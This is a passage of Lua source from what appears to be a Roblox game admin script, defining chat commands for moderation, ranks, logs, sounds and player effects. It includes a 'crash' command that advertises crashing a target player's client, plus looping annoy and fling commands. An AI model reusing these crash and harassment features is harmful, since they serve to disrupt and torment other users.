5662 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5663 local Players = STRING:Scan(Arguments[1], Speaker)
5664 for _,Player in pairs(Players) do
5665 CORE:AnchorPlayer(Player)
5666 end
5667 end};
5668
5669 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5670 local Players = STRING:Scan(Arguments[1], Speaker)
5671 for _,Player in pairs(Players) do
5672 CORE:UnanchorPlayer(Player)
5673 end
5674 end};
5675
5676 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5677 local Players = STRING:Scan(Arguments[1], Speaker)
5678 for _,Player in pairs(Players) do
5679 CORE:InvisiblePlayer(Player)
5680 end
5681 end};
5682
5683 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5684 local Players = STRING:Scan(Arguments[1], Speaker)
5685 for _,Player in pairs(Players) do
5686 CORE:VisiblePlayer(Player)
5687 end
5688 end};
5689
5690 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5691 local Players = STRING:Scan(Arguments[1], Speaker)
5692 for _,Player in pairs(Players) do
5693 if Player.Character and Player.Character:FindFirstChild("Torso") then
5694 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5695 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5696 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5697 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5698 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5699 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5700 Fly:Play()
5701 local Touched = false
5702 coroutine.wrap(function()
5703 repeat wait(0.1)
5704 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5705 until not Ast or Ast.Parent == nil or Touched == true
5706 end)()
5707 Ast.Touched:connect(function(Part)
5708 if Touched == false then
5709 Touched = true
5710 Part:BreakJoints()
5711 local Boom = Instance.new("Explosion", Workspace)
5712 Boom.Position = Ast.Position
5713 Boom.BlastPressure = 1000000
5714 Boom.BlastRadius = 30
5715 Fire.Heat = 0
5716 Smoke.RiseVelocity = 0
5717 Fly:Stop()
5718 BoomSound:Play()
5719 coroutine.wrap(function()
5720 wait(3)
5721 BoomSound:Stop()
5722 if Ast and Ast.Parent ~= nil then
5723 Ast:Destroy()
5724 end
5725 end)()
5726 end
5727 end)
5728 end
5729 end
5730 end};
5731
5732 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5733 local Success = {}
5734 local Players = STRING:Scan(Arguments[1], Speaker)
5735 for _,Player in pairs(Players) do
5736 local PlayerRank = RANK:GetRank(Player)
5737 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5738 CORE:Kick(Player)
5739 table.insert(Success, Player)
5740 end
5741 end
5742 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5743 end};
5744
5745 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5746 local Success = {}
5747 local Players = STRING:Scan(Arguments[1], Speaker)
5748 for _,Player in pairs(Players) do
5749 local PlayerRank = RANK:GetRank(Player)
5750 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5751 RANK:RemoveRank(Player)
5752 table.insert(Settings.Ranks.Banned, Player.Name)
5753 CORE:Kick(Player)
5754 table.insert(Success, Player)
5755 end
5756 end
5757 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
5758 end};
5759
5760 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
5761 local Success = {}
5762 local Players = STRING:Scan(Arguments[1], Speaker)
5763 for _,Player in pairs(Players) do
5764 local PlayerRank = RANK:GetRank(Player)
5765 if PlayerRank ~= "Owner" then
5766 RANK:RemoveRank(Player)
5767 table.insert(Settings.Ranks.Crashed, Player.Name)
5768 CORE:Crash(Player)
5769 table.insert(Success, Player)
5770 end
5771 end
5772 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
5773 end};
5774
5775 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
5776 local Success = {}
5777 local Players = STRING:Scan(Arguments[1], Speaker)
5778 for _,Player in pairs(Players) do
5779 local PlayerRank = RANK:GetRank(Player)
5780 if PlayerRank ~= "Owner" then
5781 RANK:RemoveRank(Player)
5782 table.insert(Settings.Ranks.Muted, Player.Name)
5783 GUI:CoreGui(Player, "Chat", false)
5784 table.insert(Success, Player)
5785 end
5786 end
5787 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
5788 end};
5789
5790 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
5791 local Players = STRING:Scan(Arguments[1], Speaker)
5792 if #Players > 0 then
5793 local Success = {}
5794 for _,Player in pairs(Players) do
5795 local RankName,RankNum = RANK:GetRank(Player)
5796 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
5797 if not RANK:IsSupremeOwner(Player) then
5798 if RankName == "Muted" then
5799 GUI:CoreGui(Player, "Chat", true)
5800 end
5801 if RankNum > 0 then
5802 GUI:TellNotAdmin(Player)
5803 end
5804 RANK:RemoveRank(Player)
5805 table.insert(Success, Player)
5806 end
5807 end
5808 end
5809 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
5810 else
5811 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5812 if Player then
5813 local RankNum = RANK:ConvertRank(PlayerRank)
5814 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5815 if not RANK:IsSupremeOwner(Player) then
5816 RANK:RemoveRank(Player)
5817 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
5818 end
5819 end
5820 end
5821 end
5822 end};
5823
5824 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
5825 local Players = STRING:Scan(Arguments[1], Speaker)
5826 if #Players > 0 then
5827 local Success = {}
5828 for _,Player in pairs(Players) do
5829 local PlayerRank,RankNum = RANK:GetRank(Player)
5830 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5831 RANK:RemoveRank(Player)
5832 table.insert(Settings.Ranks.Member, Player.Name)
5833 GUI:TellAdmin(Player)
5834 table.insert(Success, Player)
5835 end
5836 end
5837 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
5838 else
5839 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5840 if Player then
5841 local RankNum = RANK:ConvertRank(PlayerRank)
5842 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5843 if not RANK:IsSupremeOwner(Player) then
5844 RANK:RemoveRank(Player)
5845 table.insert(Settings.Ranks.Member, Player)
5846 end
5847 end
5848 else
5849 RANK:RemoveRank(Arguments[1])
5850 table.insert(Settings.Ranks.Member, Arguments[1])
5851 end
5852 end
5853 end};
5854
5855 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
5856 local Players = STRING:Scan(Arguments[1], Speaker)
5857 if #Players > 0 then
5858 local Success = {}
5859 for _,Player in pairs(Players) do
5860 local PlayerRank,RankNum = RANK:GetRank(Player)
5861 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5862 RANK:RemoveRank(Player)
5863 table.insert(Settings.Ranks.Admin, Player.Name)
5864 GUI:TellAdmin(Player)
5865 table.insert(Success, Player)
5866 end
5867 end
5868 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
5869 else
5870 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5871 if Player then
5872 local RankNum = RANK:ConvertRank(PlayerRank)
5873 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5874 if not RANK:IsSupremeOwner(Player) then
5875 RANK:RemoveRank(Player)
5876 table.insert(Settings.Ranks.Admin, Player)
5877 end
5878 end
5879 else
5880 RANK:RemoveRank(Arguments[1])
5881 table.insert(Settings.Ranks.Admin, Arguments[1])
5882 end
5883 end
5884 end};
5885
5886 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5887 local Players = STRING:Scan(Arguments[1], Speaker)
5888 if RANK:IsSupremeOwner(Speaker) then
5889 if #Players > 0 then
5890 local Success = {}
5891 for _,Player in pairs(Players) do
5892 if not RANK:IsSupremeOwner(Player) then
5893 RANK:RemoveRank(Player)
5894 table.insert(Settings.Ranks.Owner, Player.Name)
5895 GUI:TellAdmin(Player)
5896 table.insert(Success, Player)
5897 end
5898 end
5899 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
5900 else
5901 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5902 if Player then
5903 local RankNum = RANK:ConvertRank(PlayerRank)
5904 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5905 if not RANK:IsSupremeOwner(Player) then
5906 RANK:RemoveRank(Player)
5907 table.insert(Settings.Ranks.Owner, Player)
5908 end
5909 end
5910 else
5911 RANK:RemoveRank(Arguments[1])
5912 table.insert(Settings.Ranks.Owner, Arguments[1])
5913 end
5914 end
5915 end
5916 end};
5917
5918 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
5919 local TableStorage = {}
5920 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
5921 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
5922 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
5923 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
5924 end};
5925
5926 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
5927 local TableStorage = {}
5928 for _,Player in pairs(Server.Players:GetChildren()) do
5929 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
5930 if ValidAdmin then
5931 if PlayerRank == "Owner" then
5932 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
5933 else
5934 table.insert(TableStorage, Player.Name..": "..PlayerRank)
5935 end
5936 end
5937 end
5938 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
5939 end};
5940
5941 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
5942 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
5943 end};
5944
5945 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
5946 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
5947 end};
5948
5949 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
5950 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
5951 end};
5952
5953 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
5954 local TableStorage = {}
5955 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
5956 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
5957 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
5958 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
5959 end};
5960
5961 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
5962 local TableStorage = {}
5963 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
5964 for Num,PlayerName in pairs(PlayerNames) do
5965 if PlayerRank == "Owner" then
5966 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
5967 else
5968 table.insert(TableStorage, PlayerName..": "..PlayerRank)
5969 end
5970 end
5971 end
5972 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
5973 end};
5974
5975 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
5976 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
5977 end};
5978
5979 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
5980 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
5981 end};
5982
5983 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
5984 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
5985 end};
5986
5987 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
5988 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
5989 if type(ExploitLog) ~= "table" then ExploitLog = {} end
5990 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
5991 end};
5992
5993 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
5994 CommandLogs = {}
5995 end};
5996
5997 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
5998 ChatLogs = {}
5999 end};
6000
6001 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6002 IRC.Logs = {}
6003 end};
6004
6005 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6006 CommandLogs = {}
6007 ChatLogs = {}
6008 IRC.Logs = {}
6009 end};
6010
6011 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6012 Server.GDS:SetAsync("ExploitLog", {})
6013 end};
6014
6015 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6016 local List,Correlate,SoundName = {},{},{}
6017 for Name,Info in pairs(SoundList) do
6018 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6019 table.insert(List, View)
6020 Correlate[View] = Info[1]
6021 end
6022
6023 local CanClick = true
6024 if Rank == "Member" then CanClick = false end
6025 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6026 Clicked.Event:connect(function(ClickName)
6027 local OldSoundId = nil
6028 SOUND:StopGlobalSound()
6029 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6030 SOUND:PlayGlobalSound(Correlate[ClickName])
6031 end
6032 end)
6033 end};
6034
6035 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6036 SOUND:SyncSoundList(Speaker)
6037 end};
6038
6039 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6040 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6041 if Answer == "Yes" then
6042 Server.Workspace.Terrain:Clear()
6043 end
6044 end};
6045
6046 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6047 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6048 if Answer == "Yes" then
6049 for _,Obj in pairs(Workspace:GetChildren()) do
6050 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6051 Obj:Destroy()
6052 end
6053 end
6054 end
6055 end};
6056
6057 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6058 CORE:MakeBase()
6059 end};
6060
6061 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6062 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6063 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6064 CustomSounds = {}
6065 end
6066 if tostring(Arguments[1]) then
6067 local Request = MARKET:GetItemInfo(Arguments[1])
6068 if Request.AssetTypeId == 3 then
6069 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6070 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6071 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6072 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6073 else
6074 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6075 end
6076 end
6077 end};
6078
6079 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6080 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6081 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6082 CustomSounds = {}
6083 end
6084
6085 local Removed = {}
6086 for Num,Data in pairs(CustomSounds) do
6087 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6088 table.insert(Removed, Data[1])
6089 table.remove(CustomSounds, Num)
6090 end
6091 end
6092
6093 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6094
6095 SOUND:SyncSoundList()
6096
6097 if #Removed > 0 then
6098 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6099 else
6100 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6101 end
6102 end};
6103
6104 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6105 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6106 if Answer == "Yes" then
6107 Server.GDS:SetAsync("MML Custom Sounds", {})
6108 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6109 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6110 end
6111 end};
6112
6113 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6114 local Players = STRING:Scan(Arguments[1], Speaker)
6115 local SpeakerTesting = false
6116 for _,Player in pairs(Players) do
6117 if Player == Speaker then SpeakerTesting = true end
6118 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6119 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6120 --wait(10)
6121 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6122 end)() end
6123 end
6124 if SpeakerTesting == false then
6125 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6126 end
6127 end};
6128
6129 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6130 local Players = STRING:Scan(Arguments[1], Speaker)
6131 local Compile = {}
6132 for _,Player in pairs(Players) do
6133 local PlayerInfo = ClientInfo[Player.Name]
6134 if PlayerInfo then
6135 if PlayerInfo.Benchmark then
6136 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6137 else
6138 table.insert(Compile, Player.Name..": No score")
6139 end
6140 end
6141 end
6142 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6143 end};
6144
6145 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6146 local Players = STRING:Scan(Arguments[1], Speaker)
6147 for _,Player in pairs(Players) do
6148 CORE:Chatted(Arguments[2], Player, true)
6149 end
6150 end};
6151
6152 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6153 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6154 end};
6155
6156 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6157 local Players = STRING:Scan(Arguments[1], Speaker)
6158 for _,Player in pairs(Players) do
6159 if Player.Character ~= nil then
6160 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6161 if Player.Character.Torso:FindFirstChild("Neck") then
6162 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6163 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6164 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6165 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6166 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6167 end
6168 end
6169 end
6170 end
6171 end};
6172
6173 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6174 local Players = STRING:Scan(Arguments[1], Speaker)
6175 for _,Player in pairs(Players) do
6176 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6177 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6178 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6179 end
6180 end
6181 end};
6182
6183 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6184 local Players = STRING:Scan(Arguments[1], Speaker)
6185 for _,Player in pairs(Players) do
6186 local _,RankNum = RANK:GetRank(Player)
6187 if RankNum <= RANK:ConvertRank(Rank) then
6188 CORE:FlingPlayer(Player)
6189 end
6190 end
6191 end};
6192
6193 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6194 local Players = STRING:Scan(Arguments[1], Speaker)
6195 for _,Player in pairs(Players) do
6196 local _,RankNum = RANK:GetRank(Player)
6197 if RankNum <= RANK:ConvertRank(Rank) then
6198 Flings[Player.Name] = true
6199 CORE:FlingPlayer(Player)
6200 end
6201 end
6202 end};
6203
6204 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6205 local Players = STRING:Scan(Arguments[1], Speaker)
6206 for _,Player in pairs(Players) do
6207 local _,RankNum = RANK:GetRank(Player)
6208 if RankNum <= RANK:ConvertRank(Rank) then
6209 Flings[Player.Name] = nil
6210 end
6211 end
6212 end};
6213
6214 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6215 local Players = STRING:Scan(Arguments[1], Speaker)
6216 for _,Player in pairs(Players) do
6217 CORE:Nuke(Player)
6218 end
6219 end};
6220
6221 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6222 local Players = STRING:Scan(Arguments[1], Speaker)
6223 for _,Player in pairs(Players) do
6224 Beeps[Player.Name] = true
6225 SOUND:BeepPlayer(Player)
6226 end
6227 end};
6228
6229 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6230 local Players = STRING:Scan(Arguments[1], Speaker)
6231 for _,Player in pairs(Players) do
6232 if Player.PlayerGui then
6233 Beeps[Player.Name] = nil
6234 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6235 if Obj.Name == "Annoy" then
6236 Obj:Stop()
6237 Obj:Destroy()
6238 end
6239 end
6240 end
6241 end
6242 end};
6243
6244 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6245 local Time = Arguments[1]
6246 if Time == "day" or Time == "noon" then Time = "12" end
6247 if Time == "night" or Time == "midnight" then Time = "0" end
6248 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6249 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6250 if Time == "afternoon" then Time = "15:30" end
6251 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6252 end};
6253
6254 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6255 local Players = STRING:Scan(Arguments[1], Speaker)
6256 for _,Player in pairs(Players) do
6257 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6258 end
6259 end};
6260
6261 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6262 local AbuseMode = false
6263 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6264 local Players = STRING:Scan(Arguments[1], Speaker)
6265 for _,Player in pairs(Players) do
6266 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6267 end
6268 end};
6269
6270 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6271 local Players = STRING:Scan(Arguments[1], Speaker)
6272 for _,Player in pairs(Players) do
6273 CORE:Insert(125013769, Player.Backpack, true)
6274 end
6275 end};
6276
6277 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6278 local Players = STRING:Scan(Arguments[1], Speaker)
6279 for _,Player in pairs(Players) do
6280 if Player.Character then
6281 CORE:Insert(Arguments[2], Player.Character, true, {"Hat"})
6282 end
6283 end
6284 end};
6285
6286 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6287 CORE:ResetLighting()
6288 repeat
6289 Server.Lighting.Ambient = Color3.new(1,1,1)
6290 Server.Lighting.FogColor = Color3.new(1,1,1)
6291 Server.Lighting.Brightness = 1
6292 Server.Lighting.TimeOfDay = 14
6293 wait(0.1)
6294 Server.Lighting.Ambient = Color3.new(0,0,0)
6295 Server.Lighting.FogColor = Color3.new(0,0,0)
6296 Server.Lighting.Brightness = 0
6297 Server.Lighting.TimeOfDay = 0
6298 wait(0.1)
6299 until ModLighting == false
6300 end};
6301
6302 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6303 CORE:ResetLighting()
6304 repeat
6305 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6306 Server.Lighting.Ambient = Color
6307 Server.Lighting.FogColor = Color
6308 Server.Lighting.TimeOfDay = 0
